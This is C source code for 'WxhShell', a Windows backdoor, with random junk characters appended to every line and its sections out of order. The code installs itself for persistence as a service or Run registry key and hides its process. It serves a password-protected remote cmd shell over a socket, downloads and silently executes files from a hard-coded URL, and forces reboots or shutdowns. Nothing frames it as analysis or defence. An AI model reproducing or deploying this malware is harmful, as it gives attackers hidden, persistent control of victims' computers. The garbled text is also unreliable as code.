    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cI}qMc  
    else { O^fg~g X  
    closesocket(wsh); 8\,|T2w,X  
    ExitThread(0); A)9[.fhx  
    } *Z0Y:"  
    break; 6{h+(|.(  
    } &0B< iO<f  
  // 获取shell d&S4`\g?8  
  case 's': { /*g9drwaa  
    CmdShell(wsh); ~"\qX+  
    closesocket(wsh); 08)X:@ w?  
    ExitThread(0); mmk]Doy?#  
    break; [Xp{z tGE  
  } %7tQam  
  // 退出 [$; \1P/  
  case 'x': { z{h#l!Edh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `J*~B  
    CloseIt(wsh); L<'8#J[_5  
    break; OO%< ~H  
    } Hx;ij?  
  // 离开 gucd]VH  
  case 'q': { Lg[v-b=?I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QF^_4Yn  
    closesocket(wsh); BcJ]bIbKb  
    WSACleanup(); ogN/zIU+VA  
    exit(1); Qd~M;L O"i  
    break; ;zy[xg.7  
        } ejq2]^O4c  
  } C)^FRnb  
  } :uM2cc^  
vCC}IDd  
  // 提示信息 rEI]{?eoF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YG2rJY+*  
} L #'N  
  } `c 3IS5  
$lkd9r1   
  return; iUuG}rqj  
} -$pS {q;  
]W,K}~!   
// shell模块句柄 >z0~!!YZ  
int CmdShell(SOCKET sock) {0(:7IY,  
{ ;K[ G]8  
STARTUPINFO si; S<n3wR"^  
ZeroMemory(&si,sizeof(si)); oZvQ/|:p!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d~L`*"/)[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1_JxDT,=>  
PROCESS_INFORMATION ProcessInfo; ucm 3'j  
char cmdline[]="cmd"; .0x+b-x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u rGk_.f  
  return 0; wk { 9  
} q|PB[*T  
]:* 8 Mb#  
// 自身启动模式 n^QOGT.s6`  
int StartFromService(void) bDdJh}Vz  
{ >`rK=?12<  
typedef struct }qUNXE@  
{ 6 bL+q`3>  
  DWORD ExitStatus; ; n2|pC^  
  DWORD PebBaseAddress; YT;b$>1v  
  DWORD AffinityMask; jRz2l`~7#  
  DWORD BasePriority; ZdQm& ?  
  ULONG UniqueProcessId; >M.?qs4  
  ULONG InheritedFromUniqueProcessId; "cerg?ix  
}   PROCESS_BASIC_INFORMATION; j7;v'eA`;7  
Ks&~VU  
PROCNTQSIP NtQueryInformationProcess; f.Y9gkt3d  
?sl 7C gl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3Rid 1;L0U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jE)&`yZ5  
HgG-r&r!2  
  HANDLE             hProcess; aubmA0 w  
  PROCESS_BASIC_INFORMATION pbi; <}pwFl8C)  
% '>S9Ja3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !O$*/7  
  if(NULL == hInst ) return 0; a!"81*&4#  
)c@I|L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $[VeZ-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DM6oMT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xG<H${ k;  
:"ZH  
  if (!NtQueryInformationProcess) return 0; ')#E,Y%Hq  
dfB#+wh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T:0X-U  
  if(!hProcess) return 0; 2G"mm (   
gnbs^K w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .vRLK  
&J|3uY,'j  
  CloseHandle(hProcess); 3j.Ft*SV  
9GS<d.#Nvc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cna@3)_  
if(hProcess==NULL) return 0; dN>XZv  
W38My j!  
HMODULE hMod; Auhw(b>}TW  
char procName[255]; w<_.T#  
unsigned long cbNeeded; fys@%PZq  
#bPio  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8k'UEf`'(  
Z,o*M#}  
  CloseHandle(hProcess); woZ'T  
E0=-6j  
if(strstr(procName,"services")) return 1; // 以服务启动 'MKkC(]4  
=Mq=\T  
  return 0; // 注册表启动 Tgp}k%R~  
} /vPh_1  
rtDm<aUh  
// 主模块 [!{*)4$6  
int StartWxhshell(LPSTR lpCmdLine) 64}Oa+*s  
{ M;W{A)0i1  
  SOCKET wsl; 9\*xK%T+  
BOOL val=TRUE; Cog Lo&.  
  int port=0; =mCUuY#  
  struct sockaddr_in door; y]=v+Q*+  
u;DF$   
  if(wscfg.ws_autoins) Install(); Y',s|M1})\  
UuxWP\~2  
port=atoi(lpCmdLine); TQK>w'L  
'DF3|A],  
if(port<=0) port=wscfg.ws_port; !-r@_tn|  
mLD0Lu_Ob3  
  WSADATA data; +3vK=d_Va  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :c,\8n  
Rs)tf|`/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xZFha=#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BZ1@?3  
  door.sin_family = AF_INET; r6]r+!63"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '#t"^E2$  
  door.sin_port = htons(port); cl2@p@av  
6+IOJtj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aEX;yy*  
closesocket(wsl); 1o o'\  
return 1; 3P/T`)V  
} r4NI(\gU  
u7@|fND 7  
  if(listen(wsl,2) == INVALID_SOCKET) { %'`Dd  
closesocket(wsl); 'jcDfv(v<  
return 1; iAf, :g  
} qsFA~{o.  
  Wxhshell(wsl); -!">SY\  
  WSACleanup(); MLmc]nL=  
.D^k0V  
return 0; F=B>0Q5   
]*}*zXN/E  
} Opmb   
jL 8&  
// 以NT服务方式启动  AO;+XP=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &X_I^*  
{ .EH^1.|v  
DWORD   status = 0; {^9,Dy_D  
  DWORD   specificError = 0xfffffff; ?C.C?h6F5B  
`(=)8>|e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )rhKWg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  'm}~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xm~ff+(&@S  
  serviceStatus.dwWin32ExitCode     = 0; M6 AQ8~z  
  serviceStatus.dwServiceSpecificExitCode = 0; s\o </ZDo  
  serviceStatus.dwCheckPoint       = 0; gbr|0h>  
  serviceStatus.dwWaitHint       = 0; S7wZCQe  
"rc}mq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {_3ZKD(\  
  if (hServiceStatusHandle==0) return; uVDB; 6  
?Pl>sCFm~  
status = GetLastError(); RNoS7[&  
  if (status!=NO_ERROR) ]S,I}NP  
{ *v:+A E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }?*:uf  
    serviceStatus.dwCheckPoint       = 0; ]ZO^@sH  
    serviceStatus.dwWaitHint       = 0; !i_5Xc H  
    serviceStatus.dwWin32ExitCode     = status; lhQ*;dMj%"  
    serviceStatus.dwServiceSpecificExitCode = specificError; aChY5R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BAm H2"  
    return; 6$SsdT|8B  
  } D8`,PXtV  
'4HwS$mW3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U@D=.6\B  
  serviceStatus.dwCheckPoint       = 0; }'kk}2ej`  
  serviceStatus.dwWaitHint       = 0; 9]|[z{v'>l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HtY\!_Ea  
} XFYCPET  
:BMUc-[  
// 处理NT服务事件,比如:启动、停止 j@UW[,UI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t]eB3)FX  
{ 1ErH \!  
switch(fdwControl) bL *;N3#E  
{ s26s:A3rh  
case SERVICE_CONTROL_STOP: iv#9{T  
  serviceStatus.dwWin32ExitCode = 0; /J{P8=x}_:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uHz D  
  serviceStatus.dwCheckPoint   = 0; X /5tZ@  
  serviceStatus.dwWaitHint     = 0; , X$S4>  
  { M/d!&Bk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9]NsWd^^  
  } .j7|;Ag  
  return; *PL+)2ob  
case SERVICE_CONTROL_PAUSE: DKIDLf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  +tfmBZl^  
  break; b)@D*plS&  
case SERVICE_CONTROL_CONTINUE: #: ' P3)&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aeSy, :  
  break; Z`b,0[rG[  
case SERVICE_CONTROL_INTERROGATE: @!%<JZEz3  
  break; P[XE5puC  
}; cty~dzX^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )4GfT  
} 4pA<s-  
!3yR?Xem}  
// 标准应用程序主函数 vGm;en   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7 hnTHL  
{ Htsa<t F  
T^A:pL1  
// 获取操作系统版本 T'Jw\u>"R  
OsIsNt=GetOsVer(); y"@~5e477$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wy) Frg  
N SHlo*)}  
  // 从命令行安装 IHxX:a/iv  
  if(strpbrk(lpCmdLine,"iI")) Install(); /jj}.X7yH  
lZn <v'y  
  // 下载执行文件 aN;L5;m#>{  
if(wscfg.ws_downexe) { =9pFb!KX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l[\[)X3$  
  WinExec(wscfg.ws_filenam,SW_HIDE); |_O; U=2  
} 7!MW`L/`  
0JNG\ARC  
if(!OsIsNt) { deeOtco$LT  
// 如果时win9x,隐藏进程并且设置为注册表启动 9^ mrsj  
HideProc(); AFMAgf{bD  
StartWxhshell(lpCmdLine); ;Rwr5  
} {Lq uOC1  
else .4KXe"~E  
  if(StartFromService()) Q`19YX  
  // 以服务方式启动 @9vz%1B<l  
  StartServiceCtrlDispatcher(DispatchTable); M6 0(yTm  
else u :m]-'  
  // 普通方式启动 vRT1tOQ$  
  StartWxhshell(lpCmdLine); |n6nRE wW  
/3+7a\|mKr  
return 0; nH T2M{R  
} `?Y/:4  
rvr Ok  
 Xv:<sX  
MWhFNfS8=  
=========================================== #~p1\['|M  
`+* Mr  
pOS.`rSK  
~9'VP }\  
z@iY(;Qo  
B~~rLo:a  
" oPWvZI(\&  
IS!B$  
#include <stdio.h> *y N,e.t  
#include <string.h> GD*6tk;5/  
#include <windows.h> 'M G)noN5  
#include <winsock2.h> 2I>CA [qp  
#include <winsvc.h> %W`pTvF  
#include <urlmon.h> x%x[5.CT  
40q8,M  
#pragma comment (lib, "Ws2_32.lib") U 2\{ ( y  
#pragma comment (lib, "urlmon.lib") wF38c]r`\<  
vx-u+/\  
#define MAX_USER   100 // 最大客户端连接数 ^QFjBQ-Hai  
#define BUF_SOCK   200 // sock buffer t3bDi/m  
#define KEY_BUFF   255 // 输入 buffer YQYN.\  
BHFWig*{  
#define REBOOT     0   // 重启 7i/?+|  
#define SHUTDOWN   1   // 关机 (mza&WF7  
J-I7K !B  
#define DEF_PORT   5000 // 监听端口 L'[ '7  
dmE-W S  
#define REG_LEN     16   // 注册表键长度 uO BpMAJ  
#define SVC_LEN     80   // NT服务名长度 yil{RfBEr_  
Rmd;u g9  
// 从dll定义API GbNVcP.ocP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y< 146   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d~[ >%&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =ohdL_6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ye(0'*-jyc  
%A64 Y<K  
// wxhshell配置信息 e#W@ep|n  
struct WSCFG { ikm4Y`c  
  int ws_port;         // 监听端口 ]`:Fj|>  
  char ws_passstr[REG_LEN]; // 口令 O`Z>Oon?  
  int ws_autoins;       // 安装标记, 1=yes 0=no X\YeO> C  
  char ws_regname[REG_LEN]; // 注册表键名 Iem* 'r  
  char ws_svcname[REG_LEN]; // 服务名 N 4,w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F /t;y\)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o*dhks[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fT'A{&h|U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uYO?Rb&}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N 8mK^{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cJH7zumM)  
(cA=~Bw[=  
}; S liF$}J  
VDQ&Bm JE  
// default Wxhshell configuration LU%g>?m.]  
struct WSCFG wscfg={DEF_PORT, `D GO~RMp9  
    "xuhuanlingzhe", hr)TC-  
    1, !TG"AW  
    "Wxhshell", 1uD}V7_y"  
    "Wxhshell", \>jK\j  
            "WxhShell Service", fxiq,o0  
    "Wrsky Windows CmdShell Service", )fCl<KG*  
    "Please Input Your Password: ", Kk??}  
  1, b!UT<:o  
  "http://www.wrsky.com/wxhshell.exe", {`1zVTp[<  
  "Wxhshell.exe" [i&tE.7  
    }; lUWjm%|  
(T`x-wTl  
// 消息定义模块 k"L_0HK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SZyPl9.b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~%sDQt\S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OGae]O<  
char *msg_ws_ext="\n\rExit."; ^(6.P)$  
char *msg_ws_end="\n\rQuit."; 4I2ppz   
char *msg_ws_boot="\n\rReboot..."; Q0M8 }  
char *msg_ws_poff="\n\rShutdown..."; -|ee=BV  
char *msg_ws_down="\n\rSave to "; 1zl@$ Nt  
Wc+ e>*  
char *msg_ws_err="\n\rErr!"; ,,,5pCi\  
char *msg_ws_ok="\n\rOK!"; } RM?gE  
<Ojf&C^Z  
char ExeFile[MAX_PATH]; =8<SKY&\X  
int nUser = 0; V:IoeQ]-  
HANDLE handles[MAX_USER]; [;tbNVZK  
int OsIsNt; =>BT]WK>  
|NM.-@1  
SERVICE_STATUS       serviceStatus; }*+ca>K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U8.DPRa  
6:h!gY  
// 函数声明 KL -8Aj~  
int Install(void); wGbD%=  
int Uninstall(void); 7AtJ6  
int DownloadFile(char *sURL, SOCKET wsh); 7Qq>?H -  
int Boot(int flag); b},OCVT?  
void HideProc(void); &uk?1Z#j  
int GetOsVer(void); i@d!g"tot  
int Wxhshell(SOCKET wsl); zJ@f {RWZa  
void TalkWithClient(void *cs); lYq R6^  
int CmdShell(SOCKET sock); "_5av!;A g  
int StartFromService(void); BeplS  
int StartWxhshell(LPSTR lpCmdLine); 1L^\TC  
+n%WmRf6!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9BHl 2<&V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @3b0hi4  
uT;9xV%ch  
// 数据结构和表定义 ,9q5jOnk  
SERVICE_TABLE_ENTRY DispatchTable[] = AMtFOXx%I  
{ "*TnkFTR  
{wscfg.ws_svcname, NTServiceMain}, =k0l>)  
{NULL, NULL} +fKLCzj  
}; JqFFI:Q5a  
Z/a]oR@  
// 自我安装 ,wnF]K 2D0  
int Install(void) i\,#Z!  
{ <;_X=s`f,  
  char svExeFile[MAX_PATH]; 9/Q5(P  
  HKEY key; `bivAL  
  strcpy(svExeFile,ExeFile); v`no dI  
iiO4.@nT  
// 如果是win9x系统,修改注册表设为自启动 ;l~gA|A  
if(!OsIsNt) { w'cZ\<N[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QDSB <0j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2uqdx'^"  
  RegCloseKey(key); H%sbf& gi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &o)j@5Y?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g3"`b)M  
  RegCloseKey(key); 80 p7+W2m  
  return 0; h!MZ 6}zb)  
    } a}%>i~v<  
  } x/5%a{~j2  
} G?YKm1:w   
else { h5B'w  
z^=9%tLJ  
// 如果是NT以上系统,安装为系统服务 6i>xCb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wYS4#7  
if (schSCManager!=0) n?:s/6tP  
{ e'g-mRh  
  SC_HANDLE schService = CreateService t[0gN:s  
  ( =y ^N '1q  
  schSCManager, cojuU=i  
  wscfg.ws_svcname, W!+5}\?  
  wscfg.ws_svcdisp, z) Bc91A  
  SERVICE_ALL_ACCESS, =[vT=sHz7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q- j+#NGc  
  SERVICE_AUTO_START, lwjg57  
  SERVICE_ERROR_NORMAL, u'P@3'P  
  svExeFile, +FyG{1?<  
  NULL, .pG_j]  
  NULL, Hz+edM UL  
  NULL, u9}=g%TV  
  NULL, +d Ig&}Tr  
  NULL lts{<AU~  
  ); 3X%>xUI  
  if (schService!=0) 9<,\ +}^{  
  { CCQ<.iCU  
  CloseServiceHandle(schService); I?5#Q0,b  
  CloseServiceHandle(schSCManager); X[|-F3o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eX $u  
  strcat(svExeFile,wscfg.ws_svcname); M0n@?S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2z&HT SI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m!w(Q+*j  
  RegCloseKey(key); JAc-5e4  
  return 0; ;R|5sCb/m  
    } o3j4XrK  
  } -:>Mi5/ s  
  CloseServiceHandle(schSCManager); *7DQ#bD  
} 0FHN  
} .gx*gX1<  
p \F*Y,4  
return 1; BW z*!(   
} -bcm"(<T'  
>*k3D&  
// 自我卸载 yv]/A<gP+  
int Uninstall(void) } n_9d.  
{ qp'HRh@P2:  
  HKEY key; EXoT$Wt{$  
53@*GXzE  
if(!OsIsNt) { I`zn#U'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q9F(8-J  
  RegDeleteValue(key,wscfg.ws_regname); 3S +.]v>  
  RegCloseKey(key); exZa:9 sp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7n}J}8Y*U2  
  RegDeleteValue(key,wscfg.ws_regname); 2NqlE  
  RegCloseKey(key); kf.w:X"i  
  return 0; - =QA{n  
  } ->$Do$  
} SU Hyg/|F  
} gQ/-.1Pz$  
else { )t&j0`Yq  
$oe:km1-D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R\ <HR9r  
if (schSCManager!=0) ~ex1,J*}t  
{ E0Ig/ j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T" XZ[q  
  if (schService!=0) &mp=jGR  
  { \:%e 6M  
  if(DeleteService(schService)!=0) { " :@5|4qK  
  CloseServiceHandle(schService); )lBke*j~  
  CloseServiceHandle(schSCManager); cZPv6c_w  
  return 0; DXsp 2  
  } 349W0>eOT  
  CloseServiceHandle(schService); #1&w fI$  
  } 2LEf"FH0~  
  CloseServiceHandle(schSCManager); [N'YFb3"O  
} H Y\-sl^  
} S:+SZq  
}p]8'($  
return 1; fiES6VL  
} C`%cPl  
~\6Kq`Y  
// 从指定url下载文件 &r;-=ASYzV  
int DownloadFile(char *sURL, SOCKET wsh) :Bz*vH  
{ M]vc W  
  HRESULT hr; QcU&G*   
char seps[]= "/"; &k+ jVymH  
char *token; 8rx?mX,}  
char *file; Q~MV0<{  
char myURL[MAX_PATH]; x4r\cL1!  
char myFILE[MAX_PATH]; [>U'P1@ql  
j;WZ[g#t  
strcpy(myURL,sURL); /2Y t\=S=  
  token=strtok(myURL,seps); dmgoVF_qR  
  while(token!=NULL) G\@ uj>Z  
  {  <]2X~+v  
    file=token; 96fbMP+7R  
  token=strtok(NULL,seps); l c?9B  
  } 7y""#-}V[r  
N\1 EWi  
GetCurrentDirectory(MAX_PATH,myFILE); 5 <X.1 T1  
strcat(myFILE, "\\"); k2(B{x}L  
strcat(myFILE, file); p~J|l$%0rQ  
  send(wsh,myFILE,strlen(myFILE),0); Po~{Mpe  
send(wsh,"...",3,0); ,9SBGxK5`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w@ALl#z;}  
  if(hr==S_OK) ^_0zO$z,  
return 0; p2cwW/^V  
else (&H-v'a}3  
return 1; H$bu*o-Z  
0hVw=KDO9:  
} outAZy=R;  
Q`j!$r  
// 系统电源模块 Ha>Hb`  
int Boot(int flag) i|?EgGFG  
{ pN|BtrN{  
  HANDLE hToken; 7jPPN  
  TOKEN_PRIVILEGES tkp; c5Fl:=h  
l6] :Zcd0  
  if(OsIsNt) { + :4 F@R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k]K][[s`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xn|M]E1)  
    tkp.PrivilegeCount = 1; lR3`4bHA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XRA RgWj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )(V|d$n  
if(flag==REBOOT) { P_6JweN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2NMS '"8  
  return 0; eLPWoQXt  
} qtlXDgppO  
else { \JjZ _R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U?]}K S;6  
  return 0; 1X. E:  
} hq+j8w}<-  
  } `#J0@ -  
  else { {HoeK>rd  
if(flag==REBOOT) { t*J *?Ma  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O\0]o!  
  return 0; nbd-f6F6  
} >(T)9fKF  
else { X$mCn#8m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9vX~gh{]~  
  return 0; &}}UdJ`  
} XM?>#^nC?u  
} vNo(`~]c  
-(~OzRfYi  
return 1; P)D2PVD  
} `hpX97v  
1V/?p<A  
// win9x进程隐藏模块 0o-. m  
void HideProc(void) pb8sx1.j;  
{ y@GqAN'DK[  
^UJB%l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9Kl:3C  
  if ( hKernel != NULL ) |-+IF,j  
  { 4zo^ b0v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z.d1>w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gdr"34%vbM  
    FreeLibrary(hKernel); L<dJWxf?D  
  } SHcFnxEAIH  
r~2>_LK  
return; u([|^~H]  
} yq7gBkS  
9Ub##5$[,  
// 获取操作系统版本 B:X,vE  
int GetOsVer(void) r%=}e++^%  
{ 3aX/)v.:4  
  OSVERSIONINFO winfo; u$M,&Om  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pHNo1-k\  
  GetVersionEx(&winfo); xa"8"8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ),!1B%  
  return 1; >(.GIR  
  else HP,sNiw  
  return 0; &hnI0m=X  
} Py72:;wn  
6< hE]B)  
// 客户端句柄模块 od=x?uBVd  
int Wxhshell(SOCKET wsl) gc6Zy|^V4`  
{ ](@HPAG]  
  SOCKET wsh; K`vc&uf  
  struct sockaddr_in client; |^09ny|  
  DWORD myID; mxPzB#t4  
 |43dyJW  
  while(nUser<MAX_USER) ybY[2g2QJ  
{ ye^*Z>|  
  int nSize=sizeof(client); % S vfY{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ATG;*nIP  
  if(wsh==INVALID_SOCKET) return 1; ]_5qME#N  
Mil+> X0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RW4,j&)  
if(handles[nUser]==0) ]I^b&N  
  closesocket(wsh); v? Ufx  
else iwVsq_[]L  
  nUser++; 63PSYj(y  
  } $p;<1+!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '#eY4d<i]n  
&l8eljg  
  return 0; Q94Lq~?YF  
} cF V[k'F  
^h?]$P  
// 关闭 socket Da3Z>/S  
void CloseIt(SOCKET wsh) E#zLm  
{ I<+i87=  
closesocket(wsh); q]2t3aY%  
nUser--; ;@<Rh^g]  
ExitThread(0); kMx^L;:n  
} J\l'nqS"  
mMOjV_  
// 客户端请求句柄 }.k*4Vw#Wt  
void TalkWithClient(void *cs) 1@:BUE;jZ  
{ Ys@OgdS@:  
\=&F\EV  
  SOCKET wsh=(SOCKET)cs; M/a40uK  
  char pwd[SVC_LEN]; 6* 6 |R93  
  char cmd[KEY_BUFF]; %M5{-pJ|C  
char chr[1]; i9+qU  
int i,j; w.o>G2u  
(jp!q ,)  
  while (nUser < MAX_USER) { }bZb8hiG  
s9rKXY',:l  
if(wscfg.ws_passstr) { /e;E+   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K0fuN)C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 91\Sb:>  
  //ZeroMemory(pwd,KEY_BUFF); KXf (v4  
      i=0; $W;f9k@C!  
  while(i<SVC_LEN) { 5ktFL<^5T  
JUCp#[q  
  // 设置超时 &dky_H  
  fd_set FdRead; 7h#*dj ef  
  struct timeval TimeOut; k?;@5r)y-  
  FD_ZERO(&FdRead); M(U<H;Csk  
  FD_SET(wsh,&FdRead); 85:KlBe%+  
  TimeOut.tv_sec=8; +5x{|!Pn  
  TimeOut.tv_usec=0; Y(&rlL(sPK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eq(1'?7]`G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uGpLh0  
v\2- %  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y[0mTL4IO  
  pwd=chr[0]; $d*PY_  
  if(chr[0]==0xd || chr[0]==0xa) { HChlkj'7w0  
  pwd=0; xnOd$]  
  break; aQ*?L l  
  } ?0tm{qP  
  i++; y>>)Yo&|  
    } *cP(3n3]R  
Aa+<4 R  
  // 如果是非法用户,关闭 socket kx,3[qe'S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %v4*$E!f  
} DX_?-jw})f  
i`}!<{k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WBWIHv{j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1hY%Zsj C  
&~:+2  
while(1) { d7G DIYH<  
Q9Vj8JO"{  
  ZeroMemory(cmd,KEY_BUFF); 4Opf[3]  
i ?%_P u  
      // 自动支持客户端 telnet标准   watTV\b  
  j=0; dUL*~%2I  
  while(j<KEY_BUFF) { FQ>y2n=<d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9]vy#a#  
  cmd[j]=chr[0]; ye-[l7  
  if(chr[0]==0xa || chr[0]==0xd) { `ES+$O>  
  cmd[j]=0; M#k$[w}=  
  break; xW|8-q  
  } dpvEY(Ds  
  j++; }g& KT!r  
    } 39~te%;C7  
BtrMv6  
  // 下载文件 @E4ya$A)F  
  if(strstr(cmd,"http://")) { Q`!^EyRA:^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~t1?oJ  
  if(DownloadFile(cmd,wsh)) DQ@M?~1hp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EXsVZg"#  
  else twhT6wz"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ept=&mJPu  
  } Bbtc[@"X  
  else { 3^iVDbAW{  
|AXV4{j_i  
